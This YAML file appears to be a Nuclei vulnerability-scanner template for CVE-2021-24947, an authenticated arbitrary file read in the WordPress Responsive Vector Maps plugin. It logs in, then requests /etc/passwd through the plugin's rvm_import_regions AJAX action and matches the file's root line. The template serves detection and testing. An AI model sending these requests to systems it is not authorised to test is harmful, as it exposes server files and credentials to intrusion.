id: CVE-2021-24947

info:
  name: WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read
  author: cckuailong
  severity: medium
  description: WordPress Responsive Vector Maps < 6.4.2 contains an arbitrary file read vulnerability because the plugin does not have proper authorization and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user to read arbitrary files on the web server.
  reference:
    - https://wpscan.com/vulnerability/c6bb12b1-6961-40bd-9110-edfa9ee41a18
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24947
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-24947
    cwe-id: CWE-352,CWE-863
    epss-score: 0.00406
    cpe: cpe:2.3:a:thinkupthemes:responsive_vector_maps:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    framework: wordpress
    vendor: thinkupthemes
    product: responsive_vector_maps
  tags: cve,authenticated,wpscan,cve2021,lfi,wp,wordpress,wp-plugin,lfr

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200